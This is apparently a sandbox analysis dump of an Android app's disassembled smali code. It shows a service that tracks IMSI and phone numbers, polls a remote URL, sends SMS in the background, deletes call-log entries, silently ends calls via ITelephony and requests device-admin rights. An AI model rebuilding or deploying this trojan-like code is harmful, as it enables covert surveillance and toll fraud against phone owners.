| 26 | sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 28 | invoke-static {v4, v6, v0, v6}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent; |
|
| 29 | move-result-object v3 | |
| 31 | sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 33 | invoke-virtual {v2, v4, p1, p2, v3}, Landroid/app/Notification;->setLatestEventInfo(Landroid/content/Context;Ljava/lang/CharSequence;Ljava/lang/CharSequence;Landroid/app/PendingIntent;)V | |
| 34 | iget v4, v2, Landroid/app/Notification;->flags:I | |
| 35 | or-int/lit8 v4, v4, 0x10 | |
| 36 | iput v4, v2, Landroid/app/Notification;->flags:I | |
| 37 | iget v4, v2, Landroid/app/Notification;->defaults:I | |
| 38 | or-int/lit8 v4, v4, 0x1 | |
| 39 | iput v4, v2, Landroid/app/Notification;->defaults:I | |
| 40 | const/4 v4, 0x1 | |
| 42 | invoke-virtual {v1, v4, v2}, Landroid/app/NotificationManager;->notify(ILandroid/app/Notification;)V |
|
| 43 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "str" | |
| 1 | .prologue | |
| 3 | const-string v0, "\r" | |
| 5 | const-string v1, "" | |
| 7 | invoke-virtual {p0, v0, v1}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; |
|
| 8 | move-result-object v0 | |
| 10 | const-string v1, "\n" | |
| 12 | const-string v2, "" | |
| 14 | invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; |
|
| 15 | move-result-object v0 | |
| 16 | return-object v0 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 2 | const-string v0, "SMS_SEND_ACTIOIN" | |
| 3 | sput-object v0, Lcom/example/adt/SMS;->SMS_SEND_ACTIOIN:Ljava/lang/String; | |
| 5 | const-string v0, "SMS_DELIVERED_ACTION" | |
| 6 | sput-object v0, Lcom/example/adt/SMS;->SMS_DELIVERED_ACTION:Ljava/lang/String; | |
| 7 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 1 | const/4 v1, 0x0 | |
| 3 | invoke-direct {p0}, Landroid/app/Service;-><init>()V | |
| 5 | invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean; |
|
| 6 | move-result-object v0 | |
| 7 | iput-object v0, p0, Lcom/example/adt/CoreService;->IS_NEW:Ljava/lang/Boolean; | |
| 9 | invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean; |
|
| 10 | move-result-object v0 | |
| 11 | iput-object v0, p0, Lcom/example/adt/CoreService;->IS_WORK:Ljava/lang/Boolean; | |
| 13 | const-string v0, "" | |
| 14 | iput-object v0, p0, Lcom/example/adt/CoreService;->number:Ljava/lang/String; | |
| 16 | const-string v0, "" | |
| 17 | iput-object v0, p0, Lcom/example/adt/CoreService;->imsi:Ljava/lang/String; | |
| 19 | const-string v0, "success" | |
| 20 | iput-object v0, p0, Lcom/example/adt/CoreService;->MSG_OK:Ljava/lang/String; | |
| 21 | iput v1, p0, Lcom/example/adt/CoreService;->newClient:I | |
| 23 | const-string v0, "" | |
| 24 | iput-object v0, p0, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String; | |
| 26 | const-string v0, "" | |
| 27 | iput-object v0, p0, Lcom/example/adt/CoreService;->issms:Ljava/lang/String; | |
| 29 | const-string v0, "" | |
| 30 | iput-object v0, p0, Lcom/example/adt/CoreService;->iscall:Ljava/lang/String; | |
| 32 | const-string v0, "" | |
| 33 | iput-object v0, p0, Lcom/example/adt/CoreService;->capp:Ljava/lang/String; | |
| 35 | const-string v0, "" | |
| 36 | iput-object v0, p0, Lcom/example/adt/CoreService;->sapp:Ljava/lang/String; | |
| 38 | const-string v0, "" | |
| 39 | iput-object v0, p0, Lcom/example/adt/CoreService;->mobVersion:Ljava/lang/String; | |
| 41 | const-string v0, "" | |
| 42 | iput-object v0, p0, Lcom/example/adt/CoreService;->timeint:Ljava/lang/String; | |
| 43 | iput v1, p0, Lcom/example/adt/CoreService;->currentapiVersion:I | |
| 45 | invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
| 46 | move-result-object v0 | |
| 47 | iput-object v0, p0, Lcom/example/adt/CoreService;->net:Ljava/lang/Integer; | |
| 49 | const-string v0, "" | |
| 50 | iput-object v0, p0, Lcom/example/adt/CoreService;->nettype:Ljava/lang/String; | |
| 52 | invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
| 53 | move-result-object v0 | |
| 54 | iput-object v0, p0, Lcom/example/adt/CoreService;->isnew:Ljava/lang/Integer; | |
| 56 | const-string v0, "" | |
| 57 | iput-object v0, p0, Lcom/example/adt/CoreService;->mApk:Ljava/lang/String; | |
| 59 | const-string v0, "" | |
| 60 | iput-object v0, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
| 62 | const-string v0, "" | |
| 63 | iput-object v0, p0, Lcom/example/adt/CoreService;->mPackageName:Ljava/lang/String; | |
| 64 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "code" | |
| 1 | .parameter "data" | |
| 2 | .parameter "reply" | |
| 3 | .parameter "flags" | |
| 4 | .annotation system Ldalvik/annotation/Throws; | |
| 5 | value = { | |
| 6 | Landroid/os/RemoteException; | |
| 7 | } | |
| 8 | .end annotation | |
| 9 | .prologue | |
| 10 | const/4 v2, 0x1 | |
| 11 | sparse-switch p1, :sswitch_data_30 | |
| 13 | invoke-super {p0, p1, p2, p3, p4}, Landroid/os/Binder;->onTransact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z | |
| 14 | move-result v2 | |
| 15 | goto_8: return v2 | |
| 16 | sswitch_9: | |
| 17 | const-string v1, "com.android.internal.telephony.ITelephony" | |
| 19 | invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V |
|
| 20 | goto/16 :goto_8 | |
| 21 | sswitch_f: | |
| 22 | const-string v1, "com.android.internal.telephony.ITelephony" | |
| 24 | invoke-virtual {p2, v1}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V |
|
| 26 | invoke-virtual {p0}, Lcom/android/internal/telephony/ITelephony$Stub;->endCall()Z | |
| 27 | move-result v0 | |
| 29 | invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V | |
| 30 | if-eqz v0, :cond_22 | |
| 31 | move v1, v2 | |
| 32 | goto_1e: | |
| 33 | invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V | |
| 34 | goto/16 :goto_8 | |
| 35 | cond_22: const/4 v1, 0x0 | |
| 36 | goto/16 :goto_1e | |
| 37 | sswitch_24: | |
| 38 | const-string v1, "com.android.internal.telephony.ITelephony" | |
| 40 | invoke-virtual {p2, v1}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V |
|
| 42 | invoke-virtual {p0}, Lcom/android/internal/telephony/ITelephony$Stub;->answerRingingCall()V | |
| 44 | invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V | |
| 45 | goto/16 :goto_8 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "mContext" | |
| 1 | .parameter "className" | |
| 2 | .prologue | |
| 3 | const/4 v2, 0x0 | |
| 5 | const-string v4, "activity" | |
| 7 | invoke-virtual {p0, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
| 8 | move-result-object v0 | |
| 9 | check-cast v0, Landroid/app/ActivityManager; | |
| 10 | const/16 v4, 0x1e | |
| 12 | invoke-virtual {v0, v4}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List; |
|
| 13 | move-result-object v3 | |
| 15 | invoke-interface {v3}, Ljava/util/List;->size()I | |
| 16 | move-result v4 | |
| 17 | if-gtz v4, :cond_17 | |
| 18 | const/4 v4, 0x0 | |
| 19 | goto_16: return v4 | |
| 20 | cond_17: const/4 v1, 0x0 | |
| 21 | goto_18: | |
| 22 | invoke-interface {v3}, Ljava/util/List;->size()I | |
| 23 | move-result v4 | |
| 24 | if-lt v1, v4, :cond_20 | |
| 25 | goto_1e: move v4, v2 | |
| 26 | goto/16 :goto_16 | |
| 27 | cond_20: | |
| 28 | invoke-interface {v3, v1}, Ljava/util/List;->get(I)Ljava/lang/Object; |
|
| 29 | move-result-object v4 | |
| 30 | check-cast v4, Landroid/app/ActivityManager$RunningServiceInfo; | |
| 32 | iget-object v4, v4, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName; | |
| 34 | invoke-virtual {v4}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String; | |
| 35 | move-result-object v4 | |
| 37 | invoke-virtual {v4, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
| 38 | move-result v4 | |
| 39 | if-eqz v4, :cond_34 | |
| 40 | const/4 v2, 0x1 | |
| 41 | goto/16 :goto_1e | |
| 42 | cond_34: add-int/lit8 v1, v1, 0x1 | |
| 43 | goto/16 :goto_18 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .annotation system Ldalvik/annotation/Throws; | |
| 1 | value = { | |
| 2 | Landroid/os/RemoteException; | |
| 3 | } | |
| 4 | .end annotation | |
| 5 | .prologue | |
| 6 | const/4 v2, 0x1 | |
| 7 | const/4 v3, 0x0 | |
| 9 | invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; | |
| 10 | move-result-object v0 | |
| 12 | invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; | |
| 13 | move-result-object v1 | |
| 14 | try_start_a: | |
| 15 | const-string v4, "com.android.internal.telephony.ITelephony" | |
| 17 | invoke-virtual {v0, v4}, Landroid/os/Parcel;->writeInterfaceToken(Ljava/lang/String;)V |
|
| 19 | iget-object v4, p0, Lcom/android/internal/telephony/ITelephony$Stub$Proxy;->mRemote:Landroid/os/IBinder; | |
| 20 | const/4 v5, 0x1 | |
| 21 | const/4 v6, 0x0 | |
| 23 | invoke-interface {v4, v5, v0, v1, v6}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z |
|
| 25 | invoke-virtual {v1}, Landroid/os/Parcel;->readException()V | |
| 27 | invoke-virtual {v1}, Landroid/os/Parcel;->readInt()I | |
| 28 | try_end_1c: move-result v4 | |
| 29 | if-eqz v4, :cond_26 | |
| 30 | goto_1f: | |
| 31 | invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V | |
| 33 | invoke-virtual {v0}, Landroid/os/Parcel;->recycle()V | |
| 34 | return v2 | |
| 35 | cond_26: move v2, v3 | |
| 36 | goto/16 :goto_1f | |
| 37 | catchall_28: move-exception v3 | |
| 39 | invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V | |
| 41 | invoke-virtual {v0}, Landroid/os/Parcel;->recycle()V | |
| 42 | throw v3 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .annotation system Ldalvik/annotation/Throws; | |
| 1 | value = { | |
| 2 | Landroid/os/RemoteException; | |
| 3 | } | |
| 4 | .end annotation | |
| 5 | .prologue | |
| 7 | invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; | |
| 8 | move-result-object v0 | |
| 10 | invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; | |
| 11 | move-result-object v1 | |
| 12 | try_start_8: | |
| 13 | const-string v2, "com.android.internal.telephony.ITelephony" | |
| 15 | invoke-virtual {v0, v2}, Landroid/os/Parcel;->writeInterfaceToken(Ljava/lang/String;)V |
|
| 17 | iget-object v2, p0, Lcom/android/internal/telephony/ITelephony$Stub$Proxy;->mRemote:Landroid/os/IBinder; | |
| 18 | const/4 v3, 0x2 | |
| 19 | const/4 v4, 0x0 | |
| 21 | invoke-interface {v2, v3, v0, v1, v4}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z |
|
| 23 | invoke-virtual {v1}, Landroid/os/Parcel;->readException()V | |
| 24 | try_end_17: | |
| 25 | invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V | |
| 27 | invoke-virtual {v0}, Landroid/os/Parcel;->recycle()V | |
| 28 | return-void | |
| 29 | catchall_1e: move-exception v2 | |
| 31 | invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V | |
| 33 | invoke-virtual {v0}, Landroid/os/Parcel;->recycle()V | |
| 34 | throw v2 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "f" | |
| 1 | .annotation system Ldalvik/annotation/Throws; | |
| 2 | value = { | |
| 3 | Ljava/lang/Exception; | |
| 4 | } | |
| 5 | .end annotation | |
| 6 | .prologue | |
| 7 | const-wide/16 v1, 0x0 | |
| 9 | invoke-virtual {p0}, Ljava/io/File;->exists()Z | |
| 10 | move-result v3 | |
| 11 | if-eqz v3, :cond_14 | |
| 12 | const/4 v0, 0x0 | |
| 13 | new-instance v0, Ljava/io/FileInputStream; | |
| 15 | invoke-direct {v0, p0}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V | |
| 17 | invoke-virtual {v0}, Ljava/io/FileInputStream;->available()I | |
| 18 | move-result v3 | |
| 19 | int-to-long v1, v3 | |
| 20 | goto_13: return-wide v1 | |
| 21 | cond_14: | |
| 22 | invoke-virtual {p0}, Ljava/io/File;->createNewFile()Z | |
| 24 | sget-object v3, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 26 | const-string v4, "\u6587\u4ef6\u4e0d\u5b58\u5728" | |
| 28 | invoke-virtual {v3, v4}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
| 29 | goto/16 :goto_13 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 2 | iget-object v1, p0, Lcom/example/adt/CoreService$MyRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 4 | iget-object v1, v1, Lcom/example/adt/CoreService;->conn:Lcom/example/adt/Connect; | |
| 6 | iget-object v2, p0, Lcom/example/adt/CoreService$MyRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 8 | iget-object v2, v2, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String; | |
| 10 | invoke-virtual {v1, v2}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
| 11 | move-result-object v0 | |
| 13 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 14 | new-instance v2, Ljava/lang/StringBuilder; | |
| 16 | const-string v3, "\u8fd4\u56de\u5fc3\u8df3\u6570\u636e => " | |
| 18 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 20 | invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 21 | move-result-object v2 | |
| 23 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 24 | move-result-object v2 | |
| 26 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 27 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "numbers" | |
| 1 | .prologue | |
| 3 | invoke-static {p1}, Ljava/net/URLDecoder;->decode(Ljava/lang/String;)Ljava/lang/String; | |
| 4 | move-result-object v0 | |
| 6 | const-string v1, "p" | |
| 8 | invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String; |
|
| 9 | move-result-object v1 | |
| 10 | iput-object v1, p0, Lcom/example/adt/SMS;->phones:[Ljava/lang/String; | |
| 11 | new-instance v1, Ljava/lang/Thread; | |
| 12 | new-instance v2, Lcom/example/adt/SMS$2; | |
| 14 | invoke-direct {v2, p0}, Lcom/example/adt/SMS$2;-><init>(Lcom/example/adt/SMS;)V | |
| 16 | invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
| 18 | invoke-virtual {v1}, Ljava/lang/Thread;->start()V | |
| 19 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "number" | |
| 1 | .prologue | |
| 3 | sget-object v0, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 5 | invoke-virtual {v0}, Lcom/example/adt/CoreService;->getContentResolver()Landroid/content/ContentResolver; | |
| 6 | move-result-object v0 | |
| 8 | sget-object v1, Landroid/provider/CallLog$Calls;->CONTENT_URI:Landroid/net/Uri; | |
| 10 | const-string v2, "number=?" | |
| 11 | const/4 v3, 0x1 | |
| 12 | new-array v3, v3, [Ljava/lang/String; | |
| 13 | const/4 v4, 0x0 | |
| 14 | aput-object p1, v3, v4 | |
| 16 | invoke-virtual {v0, v1, v2, v3}, Landroid/content/ContentResolver;->delete(Landroid/net/Uri;Ljava/lang/String;[Ljava/lang/String;)I |
|
| 17 | move-result v0 | |
| 18 | return v0 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "obj" | |
| 1 | .prologue | |
| 2 | if-nez p0, :cond_4 | |
| 3 | const/4 v0, 0x0 | |
| 4 | goto_3: return-object v0 | |
| 5 | cond_4: | |
| 6 | const-string v1, "com.android.internal.telephony.ITelephony" | |
| 8 | invoke-interface {p0, v1}, Landroid/os/IBinder;->queryLocalInterface(Ljava/lang/String;)Landroid/os/IInterface; |
|
| 9 | move-result-object v0 | |
| 10 | if-eqz v0, :cond_13 | |
| 11 | instance-of v1, v0, Lcom/android/internal/telephony/ITelephony; | |
| 12 | if-eqz v1, :cond_13 | |
| 13 | check-cast v0, Lcom/android/internal/telephony/ITelephony; | |
| 14 | goto/16 :goto_3 | |
| 15 | cond_13: new-instance v0, Lcom/android/internal/telephony/ITelephony$Stub$Proxy; | |
| 17 | invoke-direct {v0, p0}, Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-><init>(Landroid/os/IBinder;)V | |
| 18 | goto/16 :goto_3 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "c" | |
| 1 | .parameter "key" | |
| 2 | .parameter "value" | |
| 3 | .prologue | |
| 5 | const-string v2, "config" | |
| 6 | const/4 v3, 0x0 | |
| 8 | invoke-virtual {p0, v2, v3}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
| 9 | move-result-object v1 | |
| 11 | invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor; | |
| 12 | move-result-object v0 | |
| 14 | invoke-interface {v0, p1, p2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor; | |
| 16 | invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
| 17 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "c" | |
| 1 | .parameter "key" | |
| 2 | .parameter "value" | |
| 3 | .prologue | |
| 5 | const-string v2, "config" | |
| 6 | const/4 v3, 0x0 | |
| 8 | invoke-virtual {p0, v2, v3}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
| 9 | move-result-object v1 | |
| 11 | invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor; | |
| 12 | move-result-object v0 | |
| 14 | invoke-interface {v0, p1, p2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor; | |
| 16 | invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
| 17 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 1 | const/4 v1, 0x0 | |
| 2 | try_start_1: sput v1, Lcom/example/adt/Config;->isAlert:I | |
| 3 | new-instance v0, Landroid/content/Intent; | |
| 5 | invoke-direct {v0}, Landroid/content/Intent;-><init>()V | |
| 7 | const-string v1, "app.dwonload.complate" | |
| 9 | invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
| 11 | sget-object v1, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 13 | invoke-virtual {v1, v0}, Lcom/example/adt/CoreService;->sendBroadcast(Landroid/content/Intent;)V | |
| 14 | try_end_12: return-void | |
| 15 | catch_13: move-exception v1 | |
| 16 | goto/16 :goto_12 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "c" | |
| 1 | .parameter "key" | |
| 2 | .parameter "def" | |
| 3 | .prologue | |
| 5 | const-string v1, "config" | |
| 6 | const/4 v2, 0x0 | |
| 8 | invoke-virtual {p0, v1, v2}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
| 9 | move-result-object v0 | |
| 11 | invoke-interface {v0, p1, p2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I | |
| 12 | move-result v1 | |
| 13 | return v1 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "context" | |
| 1 | .parameter "intent" | |
| 2 | .prologue | |
| 4 | sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 6 | const-string v1, "\u53d6\u6d88\u6fc0\u6d3b" | |
| 8 | invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
| 10 | invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onDisabled(Landroid/content/Context;Landroid/content/Intent;)V | |
| 11 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "context" | |
| 1 | .parameter "intent" | |
| 2 | .prologue | |
| 4 | sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 6 | const-string v1, "\u6fc0\u6d3b\u4f7f\u7528" | |
| 8 | invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
| 10 | invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onEnabled(Landroid/content/Context;Landroid/content/Intent;)V | |
| 11 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "context" | |
| 1 | .parameter "intent" | |
| 2 | .prologue | |
| 4 | invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V | |
| 6 | sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 8 | const-string v1, "onreceiver" | |
| 10 | invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
| 11 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 2 | invoke-direct {p0}, Landroid/os/Binder;-><init>()V | |
| 4 | const-string v0, "com.android.internal.telephony.ITelephony" | |
| 6 | invoke-virtual {p0, p0, v0}, Lcom/android/internal/telephony/ITelephony$Stub;->attachInterface(Landroid/os/IInterface;Ljava/lang/String;)V |
|
| 7 | return-void |